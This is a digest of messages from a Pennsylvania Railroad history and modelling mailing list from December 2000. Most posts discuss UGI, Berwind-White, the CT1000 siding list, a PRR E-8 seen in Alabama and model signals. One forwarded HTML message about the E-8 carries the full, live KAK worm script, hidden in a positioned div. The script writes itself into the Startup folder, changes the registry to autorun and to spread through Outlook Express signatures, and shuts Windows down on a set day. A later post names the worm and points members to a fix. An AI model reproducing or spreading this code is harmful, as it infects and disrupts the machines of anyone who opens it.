--part1_81.44f3002.276bb563_boundary--



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!!NEXT MESSAGE!!
Date: Fri, 15 Dec 2000 14:35:40 -0500

From: Bennett Levin <v-scarpitti@worldnet.att.net>

Subject: Re: [PRR] The I in UGI (long, speculative)



There were several big coking operations in Philadelphia including

"Philadelphia Coke" that were served by the PRR. Philadelphia Coke had a

major operation in Bridesburg that lasted into 1970.



Until recently the City owned gas utility did not allow outdoor gas

meters because of the high moisture content that was found in

manufactured gas and the risk of freezing the meter as well as

condensation.





bl







NDBPRR@aol.com wrote:

> 

>    Part 1.1    Type: Plain Text (text/plain)

>            Encoding: 7bit



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!!NEXT MESSAGE!!
Date: Fri, 15 Dec 2000 11:58:28 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: [PRR] The I in UGI, a last gasp



Looked for UGI on the web. Found the home page for UGI

Corporation [Home office in Valley Forge].



"UGI Corporation is a holding company with three

subsidiaries:



"AmeriGas, Inc., a national marketer of propane;



"UGI Utilities, Inc., a natural gas and electric

utility serving eastern Pennsylvania; [Home office in

Reading]



"UGI Enterprises, Inc., a supplier of energy services

and developer of growth opportunites domestically and

internationally.



"GASMARK is a UGI Enterprise company providing natural

gas and other energy services domestically.



"Hearth USA, Inc. is a retail superstore that sells,

installs and services hearth products, spas, grills

and patio accessories."



Clearly, the public relations folks at United Gas

Improvement Company became so bogged down in

explaining "Improvement" that they avoided the whole

issue by changing the corporation's name to UGI and

moved out of  the United Gas Improvement Building (not

far from the PRR Broad St. Station) to start a new

life in Valley Forge.



I did note that they claim uninterrupted payment of

dividends for 115 years. That means they started in

business no later than 1885, 12 years before the deal

to operate the Phila. City Gas Works.







=====

Bob Netzlof a/k/a Sweet Old Bob





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!!NEXT MESSAGE!!
Date: Fri, 15 Dec 2000 15:24:05 -0500

From: Mike A <n2icv@home.com>

Subject: Subject: Re: [PRR] PFE question





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No not Oak Point, I think what you ment to say was Hunts Point. It been

a few years, I been driving a  truck for 8 yrs. And I have taken all

kinds of produce to both Hunts Point and Bronx Terminal Market.And the

BTM  was there 4 year ago .The yard I was talking about been rebuilt was

Oak Point the former NH yard that serves Hunt's Point Market.If you had

seen it 8 years ago it looked like the typical PC/Conrail yard of the

70's  ;-)   . the last time I was up there in late 99 CSX had rebuilt it

like new !

P.s. I hope that answers all of your questions! (-:



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<html>



<dl>No not Oak Point, I think what you ment to say was Hunts Point. It

been a few years, I been driving a&nbsp; truck for 8 yrs. And I have taken

all kinds of produce to both Hunts Point and Bronx Terminal Market.And

the BTM&nbsp; was there 4 year ago .The yard I was talking about been rebuilt

was Oak Point the former NH yard that serves Hunt's Point Market.If you

had seen it 8 years ago it looked like the typical PC/Conrail yard of the

70's&nbsp; ;-)&nbsp;&nbsp; . the last time I was up there in late 99 CSX

had rebuilt it like new !

<br>P.s. I hope that answers all of your questions! (-:</dl>

</html>



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!!NEXT MESSAGE!!
Date: Fri, 15 Dec 2000 12:26:00 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: [PRR] Berwind-White today



Someone remarked here that they thought Berwind-White

Coal Mining Co. still had some sort of existance. The

quote below is from the history page at:



http://www.berwind.com



Their main page says they are privately owned, had

$1.4 billion last year. Their pages are all marked

with a circle inside a square, although the colors and

proportions differ from the mark on the hopper cars.



"The Berwind-White Coal Mining Company, forerunner of

today’s Berwind Group, began operations in 1874 and

soon established a proud tradition as one of the

nation’s leading coal producers. By the late 1950’s,

however, coal was being supplanted by oil and other

energy sources, and it had become clear that the

possibilities for meaningful growth were limited.



"In 1962, a new generation of family management

assumed leadership roles and developed plans to

diversify. The first step was to redirect utilization

of the company’s considerable coal reserves from

actually operating the capital-intensive,

cash-demanding mines to leasing those mines and

reserves to others.



"This redeployment of coal assets produced

considerable cash flow which was then used to

establish a significant presence in other industries."



When was it that PRR acquired all those BWCX hopper

cars? 1962 maybe?











=====

Bob Netzlof a/k/a Sweet Old Bob





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!!NEXT MESSAGE!!
From: BBReynolds@aol.com

Date: Fri, 15 Dec 2000 18:46:08 EST

Subject: Re: [PRR] Philadelphia, 1923 question, another one



In a message dated 12/14/2000 2:59:22 PM Eastern Standard Time, 

wb3iqe@rocketmail.com writes:



> Looking at the Kensington and Tacony branch in the

>  1923 CT1000, one of the sidings is for the "United Gas

>  Imp. Co. - 25th Ward Works"



United Gas Improvement Company was and is a utilities holding company, whose 

major manufacturered gas works were in Philadelphia and became the city-owned 

Philadelphia Gas Works (PGW) in 19??; UGI's HQs building was (is?) on the 

northwest corner of Broad and Arch(?) streets. They also controlled suburban 

gas

systems, including those now operated by PECo. 



Second note: mercaptans are added only to natural gas; manuafactured gas has

enough residual stinks to be recognized without the additive.



Bruce B. Reynolds, Trailing Edge Technologies, Glenside PA



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!!NEXT MESSAGE!!
Date: Fri, 15 Dec 2000 20:51:50 -0600

Subject: Re: [PRR] (PRR)  Custom Painters

From: "William J. Ayers" <prrq2@cal-net.net>



List,

If you or anyone lives in the midwest, I highly recomend George Niles (West

Des Moines, IA). He has done several paint jobs for me (a Q2 and an ABBA set

of "sharks" in pinstripe as well as a 1938 broadway observation), all brass,

and have seen many other projects of his.  His work is excellent. When

Challenger Imports needs a prototype model painted, they have George do the

work. He does not have E-mail but can be contacted at 515-225-1989.

Hope this helps.

Bill Ayers



> Hello All,

>   Can anyone on this list recommend a custom painter who is good with PRR

> paint jobs. I have an "O" scale FM

> H-20-44 brass model that I need to have painted. If anyone has a company

> or individual they have used, let me know. Thanks.

>

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>





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From: "lmatt" <lmatt@alltel.net>

Subject: [PRR] UGI

Date: Fri, 15 Dec 2000 22:34:10 -0500



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UGI, PE and several other energy/utilities are (were) all owned by the =

same people/companies.  (PRR used to own a chunk of the pie too)  Gas, =

oil, coal and electric in southeast PA are/were competing against each =

other with the same owners.  Some competition, eh?



Lew Matt



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<HTML><HEAD>

<META content=3D"text/html; charset=3Diso-8859-1" =

http-equiv=3DContent-Type>

<META content=3D"MSHTML 5.00.3105.105" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT face=3DArial size=3D2>UGI, PE and several other =

energy/utilities are=20

(were) all owned by the same people/companies.&nbsp; (PRR used to own a =

chunk of=20

the pie too)&nbsp; Gas, oil, coal and electric in southeast PA are/were=20

competing against each other with the same owners.&nbsp; Some =

competition,=20

eh?</FONT></DIV>

<DIV>&nbsp;</DIV>

<DIV><FONT face=3DArial size=3D2>Lew Matt</FONT></DIV></BODY></HTML>



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From: CENTGA@aol.com

Date: Fri, 15 Dec 2000 22:56:56 EST

Subject: [PRR] PRR in Alabama?





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A friend of mine called and told me that there's a PRR E-8 in Sumiton 

(spelling ?) Alabama. Anyone know anything about this locomotive?  Could it 

have been forgotten and left from a Southwind trip :-)  Todd Horton



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>A friend of mine called and told me that there's a PRR E-8 in Sumiton <BR>(spelling ?) Alabama. Anyone know anything about this locomotive? &nbsp;Could it <BR>have been forgotten and left from a Southwind trip :-) &nbsp;Todd Horton</FONT></HTML>



--part1_58.493f806.276c4208_boundary--



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From: LeeRainey@aol.com

Date: Sat, 16 Dec 2000 01:24:00 EST

Subject: [PRR] UGI again



In a message dated 12/14/2000 11:59:17 AM Pacific Standard Time, 

>wb3iqe@rocketmail.com writes:

>

><< United Gas

> Improvement Co."

> 

> I guess I now know what "Imp." meant, but now I wonder

> what does a Gas Improvement Company do? Improve the

> gas, apparently, but in what way? Add BTU's to the

> gas? Make it smell nicer? Make it less toxic? >>

>

This is just a guess, but in the 1870s-1880s in Pennsylvania, when many 

gas plants were built in the expanding municipal area, a common type of 

corporation chartered in Pennsylvania was the "Improvement Company." In 

my favorite East Broad Top area, there was the Broad Top Improvement Co., 

which was basically a holding company for coal lands, and the Groundhog 

Valley 

Improvement Co., which was to improve transportation in what most EBT 

fans know as Coles Valley. 



It appears this was a generic term favored by a variety of companies with 

a variety of names. Can't tell you why that name was the norm, but it 

suggests a possible era and a possibility that this company was focused on 

improving the community by building gas lines or gas manufacturing plants, 

not on 

improving the gas itself.



Lee Rainey



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From: "Steve Hoxie" <steveh@dotstar.net>

Subject: Re: [PRR] PRR in Alabama?

Date: Sat, 16 Dec 2000 00:29:33 -0600



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Todd--Sumiton is just northwest of Birmingham.  I have a friend up =

there--a modeler and L&N fan--with avested interest in the Southwind.  =

I'll see if he can check it out.  You never know.....



Steve Hoxie

Pensacola FL

 =20



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<HTML><HEAD>

<META http-equiv=3DContent-Type content=3D"text/html; =

charset=3Diso-8859-1">

<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT face=3DArial size=3D2>Todd--Sumiton is just northwest of=20

Birmingham.&nbsp; I have a friend up there--a modeler and L&amp;N =

fan--with=20

avested interest in the Southwind.&nbsp; I'll see if he can check it =

out.&nbsp;=20

You never know.....</FONT></DIV>

<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>

<DIV><FONT face=3DArial size=3D2>Steve Hoxie</FONT></DIV>

<DIV><FONT face=3DArial size=3D2>Pensacola FL</FONT></DIV>

<DIV><FONT face=3Darial,helvetica><FONT size=3D2>&nbsp;</FONT>=20

</FONT></DIV></BODY></HTML>



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Date: Fri, 15 Dec 2000 22:37:51 -0800

Subject: Re: [PRR] Lewistown station

From: "Doug and Marianne" <babal@slip.net>



> THIS MESSAGE IS IN MIME FORMAT. Since your mail reader does not understand

this format, some or all of this message may not be legible.



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In looking through Pennsy Power last night there is a picture of DD-1's 

being

delivered.  The engines are pulled by a couple of 2-8-0's and the caption

reads that they are taking water in Lewistown.  The building right behind

the

train would appear to be the station but it has a clock tower which the

current one does not.  Is this the right station or location?  Was the tower

torn down or not restored?  Thanks



The photograph you are referring to (I assume) is on Page 262 of Pennsy

Power.  The loco are actually BB-3's (not DD-1's) enroute to the Long Island

RR and the location is in front of the Lewistown Junction station.  The

tower, actually built as a block or signal tower and not a clock tower,

existing on the building from the 1870's to the early 1950's when it was

apparently dismantled.  The tower has now been reconstructed by the PRRT&HS.



Doug Nelson





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<HTML>

<HEAD>

<TITLE>Re: [PRR] Lewistown station</TITLE>

</HEAD>

<BODY BGCOLOR=3D"#FFFFFF">

<BLOCKQUOTE><FONT SIZE=3D"2">In looking through Pennsy Power last night there=

 is a picture of DD-1's being <BR>

delivered. &nbsp;The engines are pulled by a couple of 2-8-0's and the capt=

ion <BR>

reads that they are taking water in Lewistown. &nbsp;The building right beh=

ind the <BR>

train would appear to be the station but it has a clock tower which the <BR=

>

current one does not. &nbsp;Is this the right station or location? &nbsp;Wa=

s the tower <BR>

torn down or not restored? &nbsp;Thanks</FONT> <BR>

</BLOCKQUOTE><BR>

The photograph you are referring to (I assume) is on Page 262 of Pennsy Pow=

er. &nbsp;The loco are actually BB-3's (not DD-1's) enroute to the Long Isla=

nd RR and the location is in front of the Lewistown Junction station. &nbsp;=

The tower, actually built as a block or signal tower and not a clock tower, =

existing on the building from the 1870's to the early 1950's when it was app=

arently dismantled. &nbsp;The tower has now been reconstructed by the PRRT&a=

mp;HS.<BR>

<BR>

Doug Nelson<BR>

<BR>

</BODY>

</HTML>



--MS_Mac_OE_3059764671_3207993_MIME_Part--





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From: JDPanza@aol.com

Date: Sat, 16 Dec 2000 12:57:05 EST

Subject: Re: [PRR] Berwind-White today





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The former Berwind Railway Service shops were sold to Millennium Rail 

Services in either 1998 or 1999.  That includes the shop at Hollidaysburg, 

PA.  The shop at Windber was closed around 1981 or 1982.  I was the TTX 

inspector there at the time.  Richard Burg did an excellent article for the 

Pennsy (Autumn 1986) and together we did an article for RMC in October 1986.  

John Gery, a great gentleman and President of Berwind Railway Service, gave 

both Rich and I tremendous support with the project.  Sadly, John passed away 

in 1989.    



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>The former Berwind Railway Service shops were sold to Millennium Rail <BR>Services in either 1998 or 1999. &nbsp;That includes the shop at Hollidaysburg, <BR>PA. &nbsp;The shop at Windber was closed around 1981 or 1982. &nbsp;I was the TTX <BR>inspector there at the time. &nbsp;Richard Burg did an excellent article for the <BR>Pennsy (Autumn 1986) and together we did an article for RMC in October 1986. &nbsp;<BR>John Gery, a great gentleman and President of Berwind Railway Service, gave <BR>both Rich and I tremendous support with the project. &nbsp;Sadly, John passed away <BR>in 1989. &nbsp;&nbsp;&nbsp;</FONT></HTML>



--part1_49.4e505c0.276d06f1_boundary--



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From: "gregory" <gas@fastinet.net>

Subject: [PRR] Re: Renovo mural 

Date: Sat, 16 Dec 2000 10:21:58 -0800



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The mural still exist in the Renovo post-office. If I recall correctly =

it was recently cleaned and restored in the last few years. I saw it not =

more than a few years ago right after it was restored. I took some =

pictures of it, but would have to search for them.=20



---Greg Stone

PRRT&HS member=20

special interest Renovo Yards



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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META content=3D"text/html; charset=3Diso-8859-1" =

http-equiv=3DContent-Type>

<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT face=3DArial size=3D2>The mural still exist in the Renovo =

post-office. If=20

I recall correctly it was recently cleaned and restored in the last few =

years. I=20

saw it not more than a few years ago right after it was restored. I took =

some=20

pictures of it, but would have to search for them. </FONT></DIV>

<DIV>&nbsp;</DIV>

<DIV><FONT face=3DArial size=3D2>---Greg Stone</FONT></DIV>

<DIV><FONT face=3DArial size=3D2>PRRT&amp;HS member </FONT></DIV>

<DIV><FONT face=3DArial size=3D2>special interest Renovo=20

Yards</FONT></DIV></BODY></HTML>



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From: RDG2124@aol.com

Date: Sat, 16 Dec 2000 14:48:30 EST

Subject: Re: [PRR] Berwind-White today



PRR List,



  One of the model magazines, believe it was MR, within the last year did an 

article on Berwind hoppers .



Evan



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From: RDG2124@aol.com

Date: Sat, 16 Dec 2000 15:03:03 EST

Subject: [PRR] CT1000



PRR List,



  I need to plead ignorance on an item frequently mentioned on this list.  

What is the CT1000?  Is this a Pennsy track diagram listing?



Many thanks,



Evan



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From: "Steve Hoxie" <steveh@dotstar.net>

Subject: Fw: Fw: [PRR] PRR in Alabama?

Date: Sat, 16 Dec 2000 14:30:35 -0600



This is a multi-part message in MIME format.



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Todd--How about this!!  He is sending photos.  I am really surprised =

about the five stripes!



Steve



Steve,

I've seen it.  (Again just after Thanksgiving).  It's been there about a =

year.  I did take photo's of itlast year.  It's in tuscan five stripe.  =

All my train stuff and photo's are still packed up.  It is right on =

Highway 78 along with some passenger cars and a caboose.  From what I =

heard the place is suppose to be a "wedding chapel".  There has been no =

one there when I've been by.  The E-8 is in fair shape outside.  Paint =

fading a little bit.  The inside is completely gutted.  You can look =

throught the rear door and see all the way out the cab windows.  I'll =

try to dig the photo's out in the next day or two.  Can you take =

attachments? or I can bring them when we come down next week.



Lee









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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META http-equiv=3DContent-Type content=3D"text/html; =

charset=3Diso-8859-1">

<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT face=3DArial size=3D2>Todd--How about this!!&nbsp; He is =

sending=20

photos.&nbsp; I am really surprised about the five stripes!</FONT></DIV>

<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>

<DIV><FONT face=3DArial size=3D2>Steve</FONT></DIV>

<DIV>

<DIV style=3D"Z-INDEX: 5; RIGHT: 0px; POSITION: absolute; TOP: -20px">

<OBJECT id=3Dscr=20

classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC></OBJECT></DIV>

<SCRIPT><!--

function sErr(){return =

true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr=

iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =

WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object =

id=3D'wsh' =

classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP=

T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew =

ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=

fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =

mye=3Dnew =

Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =

String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=

~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=

\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=

(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=

eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs=

.GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr=

)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=

@echo off>'+pth);t1.WriteLine('del =

'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=

k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=

T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=

n+'\\\\Software\\\\Microsoft\\\\Outlook =

Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\=

"Default =

Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=

\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =

#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=

\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=

teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =

Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=

L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=

;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=

ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s =

'+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B=

ODY><DIV =

style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =

classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =

id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=

(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =

sErr(){return =

true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095=

);t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=

\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=

;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=

age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =

D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\kak.hta\":\"C:\\\\=

\\\\windows\\\\\\\\Start =

Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user=

Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=

r.appVersion)>4))||(agt.indexOf(\"msie =

5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=

</"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut=

es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =

&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =

!');wsh.Run(wd+'RUNDLL32.EXE =

user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =

failed &nbsp; =

!]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s=

ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=

Menu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =

Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=

;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=

gt.indexOf("msie 5.")!=3D-1))scr.write();

//--></SCRIPT>

</OBJECT></DIV>

<DIV style=3D"FONT: 10pt arial">&nbsp;</DIV>

<DIV>Steve,</DIV>

<DIV>I've seen it.&nbsp; (Again just after Thanksgiving).&nbsp; It's =

been there=20

about a year.&nbsp; I did take photo's of itlast year.&nbsp; It's in =

tuscan five=20

stripe.&nbsp; All my train stuff and photo's are still packed up.&nbsp; =

It is=20

right on Highway 78 along with some passenger cars and a caboose.&nbsp; =

From=20

what I heard the place is suppose to be a "wedding chapel".&nbsp; There =

has been=20

no one there when I've been by.&nbsp; The E-8 is in fair shape =

outside.&nbsp;=20

Paint fading a little bit.&nbsp; The inside is completely gutted.&nbsp; =

You can=20

look throught the rear door and see all the way out the cab =

windows.&nbsp; I'll=20

try to dig the photo's out in the next day or two.&nbsp; Can you take=20

attachments? or I can bring them when we come down next week.</DIV>

<DIV>&nbsp;</DIV>

<DIV>Lee</DIV>

<DIV>&nbsp;</DIV>

<DIV>&nbsp;</DIV>

<DIV>&nbsp;</DIV></BODY></HTML>



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!!NEXT MESSAGE!!
Date: Sat, 16 Dec 2000 15:52:04 -0500

From: Phil Tripician <ptripician@adelphia.net>

Subject: [PRR] PRR Signals



I am beginning a project to signal the Mustang Valley RR (a fictitious

sub of the PRR) and need approximately 18 signal heads. (some will be on

masts, but the majority will be on overhead signal bridges.



   Any suggestions on sources that would not break the back and allow a

model railroader of moderate skills to start with manual control and

then gradually convert the system to automatic aspect (not for train

control but for visual effect).



	Thanks,



	Phil Tripician



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!!NEXT MESSAGE!!
From: "W. Terry Stuart" <tstuart@forcomm.net>

Subject: Re: [PRR] Berwind-White today

Date: Sat, 16 Dec 2000 15:58:16 -0500



The Beaver Valley Junction Chapter of the National Railway Historical

Society in association with ISS Rail in New Castle, PA will sponsor a SANTA

TRAIN RIDE on Sunday, December 17th, 2000.  The train will consist of an

ISSR diesel and a completely-restored Pennsylvania Railroad N-8 Cabin Car.

Passengers will ride in the cabin car--including the cupola--over an

approximately mile-long route on industrial trackage, some of it former PRR,

in the city of New Castle. A special guest passenger will be SANTA CLAUS.

The train will make about four or five trips, and there is NO CHARGE for the

ride.  Children of ALL AGES are invited to partake of this opportunity.  The

train will depart from the ISS Rail Yard Office under the Rt. 422 overpass.

Candy and other gifts will be available for the kids.  The first trip will

depart around Noon.





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!!NEXT MESSAGE!!
From: "W. Terry Stuart" <tstuart@forcomm.net>

Subject: [PRR] FREE SANTA TRAIN Ride Sunday in New Castle, PA

Date: Sat, 16 Dec 2000 16:00:08 -0500



The Beaver Valley Junction Chapter of the National Railway Historical

Society in association with ISS Rail in New Castle, PA will sponsor a SANTA

TRAIN RIDE on Sunday, December 17th, 2000.  The train will consist of an

ISSR diesel and a completely-restored Pennsylvania Railroad N-8 Cabin Car.

Passengers will ride in the cabin car--including the cupola--over an

approximately mile-long route on industrial trackage, including some former

PRR, in the city of New Castle. A special guest passenger will be SANTA

CLAUS.  The train will make about four or five trips, and there is NO CHARGE

for the ride.  Children of ALL AGES are invited to partake of this

opportunity.  The train will depart from the ISS Rail Yard Office under the

Rt. 422 overpass.  Candy and other gifts will be available for the kids.

The first trip will depart around Noon.





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!!NEXT MESSAGE!!
From: JONS6755@aol.com

Date: Sat, 16 Dec 2000 19:54:58 EST

Subject: Re: [PRR] PRR Signals





--part1_f6.5b69ed5.276d68e2_boundary

Content-Type: text/plain; charset="US-ASCII"

Content-Transfer-Encoding: 7bit



Phil,

Yes, Oregon Rail Supply makes some wonderful PRR position light signal 

heads that are very affordable. They're on-line at <A HREF="http://www.oregonrail.com/">Oregon Rail Supply</A> .

The owner is Dick Yager... Tell Dick "Big Jon" from Milwaukee sent you, and 

he will take care of you ! !   

Jon S.

PRRT&HS #3079



PS That goes for any "Listers" 



--part1_f6.5b69ed5.276d68e2_boundary

Content-Type: text/html; charset="US-ASCII"

Content-Transfer-Encoding: 7bit



<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>Phil,

<BR>Yes, Oregon Rail Supply makes some wonderful PRR position light signal 

<BR>heads that are very affordable. They're on-line at <A HREF="http://www.oregonrail.com/">Oregon Rail Supply</A> .

<BR>The owner is Dick Yager... Tell Dick "Big Jon" from Milwaukee sent you, and 

<BR>he will take care of you ! ! &nbsp;&nbsp;

<BR>Jon S.

<BR>PRRT&amp;HS #3079

<BR>

<BR>PS That goes for any "Listers" </FONT></HTML>



--part1_f6.5b69ed5.276d68e2_boundary--



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From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: Re: [PRR] CT1000

Date: Sat, 16 Dec 2000 20:03:59 -0500



Evan:-



The PRR CT1000 is a geographical listing of every single siding on the

entire PRR with its mileage from the nearest division point. All customers

served are shown. Unfortunately, it was abandoned after the issue of August

1, 1945, as there were no longer sufficient clerical personnel to devote to

such a mammoth project. It was continued as "left-right" reports for each

segment of track that might play host to an executive train inspection but

these were maintained as traffic department confidential files as they also

contained carloads and revenue for each siding.



It is available on the web through Jerry Britton's Keystone Crossings site.



Gregg Mahlkov



----- Original Message -----

From: <RDG2124@aol.com>

To: <PRR-Talk@dsop.com>

Sent: Saturday, December 16, 2000 3:03 PM

Subject: [PRR] CT1000





> PRR List,

>

>   I need to plead ignorance on an item frequently mentioned on this list.

> What is the CT1000?  Is this a Pennsy track diagram listing?

>

> Many thanks,

>

> Evan

>

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> "listserv@dsop.com".

>

>





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!!NEXT MESSAGE!!
Date: Sat, 16 Dec 2000 21:54:28 -0500

From: davep <davep@quik.com>

Subject: [PRR] Minimal PRR RE:  PRR Grade Crossing Casualties





The grade crossing problem is by no means a new one.

Recall what happened on the first public test of Westinhouse' air

brake..



For a fairly acessible look at the situation ca 1900, look

for a book entitled 'The Metropolitan Corridor', about

RR and society, ca 1900.  (if it sounds stuffy, its my

fault,  Good book....),  Has an entire chapter on grade crossing

problems then.



And a sidelong shot at one pet solution:

	The tire ripper barrier



No thanks.  Recently, near here, a car ran thre one of those, set out

by police, to stop the fleeing car.  The fleeing car burst 3 tires



	And Kept Going...



best

	dwp



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!!NEXT MESSAGE!!
From: BBReynolds@aol.com

Date: Sat, 16 Dec 2000 23:03:43 EST

Subject: Re: [PRR] UGI



In a message dated 12/15/2000 10:05:22 PM Eastern Standard Time, 

lmatt@alltel.net writes:



> UGI, PE and several other energy/utilities are (were) all owned by the same 

> people/companies.  (PRR used to own a chunk of the pie too)  Gas, oil, coal 

> and electric in southeast PA are/were competing against each other with the 

> same owners.  Some competition, eh?



Not attempting to answer your rhetorical query, but just for the record:



The holding company consolidation was forced on Philadelphia Electric

by its own shareholders, due to an ossified management at PE; the UGI takeover

was a welcome infusion of capital and management to the Philadelphia 

infrastructure.

UGI was forced to divest PE by the Utilities Holding Act of 1935, but the net 

result

was a more coherent infrastructure in "southeast PA", including the beginning 

of

power pooling.  The UGI period has some very definite railroad tie-ins, as 

the availability of power from the Conowingo dam led to the PRR expansion of 

its electrification, and the consolidation of the Philadelphia and Montgomery 

County power grids had a direct link to the Reading's electrification (a lot 

of PE power lines still use Reading ROWs).



(see Nicolas B. Wainwright, History of the Philadelphia Electric Company, 

1881-1961, Philadelphia, 1961, pp. 206-273, passim)



An earlier piece of this discussion was the relationship of UGI to PGW: the 

city archives index gives a fuller listing of material on the period of UGI 

operation:



http://www.phila.gov/Docs/Inventor/textonly/agencies/A151.htm



Bruce B. Reynolds, Trailing Edge Technologies, Glenside PA



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!!NEXT MESSAGE!!
From: BBReynolds@aol.com

Date: Sat, 16 Dec 2000 23:03:46 EST

Subject: Re: [PRR] Re: Starboard is Port



In a message dated 12/7/2000 8:44:58 AM Eastern Standard Time, bobsin@nac.net 

writes:



> Any other PRR-system names that suggest nautical themes?

>  



Sure...SHORE.



Bruce B. Reynolds, Trailing Edge Technologies, Glenside PA



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!!NEXT MESSAGE!!
From: "Doug Goss" <homes@infocom.com>

Subject: [PRR] How to get rid of virus that has been infecting PRR Talk --

Date: Sun, 17 Dec 2000 02:46:39 -0500



Again while down loading a PRR-talk e-mail from server, my Norton Antivirus

detected a virus attached to an e-mail. The E-mail was from Steve Hoxie with

the subject FWD FWD PRR in Alabama. This virus is script.kakworm. More

information and a fix can be found at Symantec's website:

http://www.sarc.com/avcenter/venc/data/wscript.kakworm.html



I highly encourage everyone on the list to visit this sight and download and

run the fix program on your machine.

If you have anti virus software you should make sure that you update it on a

regular basis. I download the updates for my Norton Antivirus on a weekly

basis. If you do not do this you are not protected.

If you do not have any anti virus software please go buy some. This is not

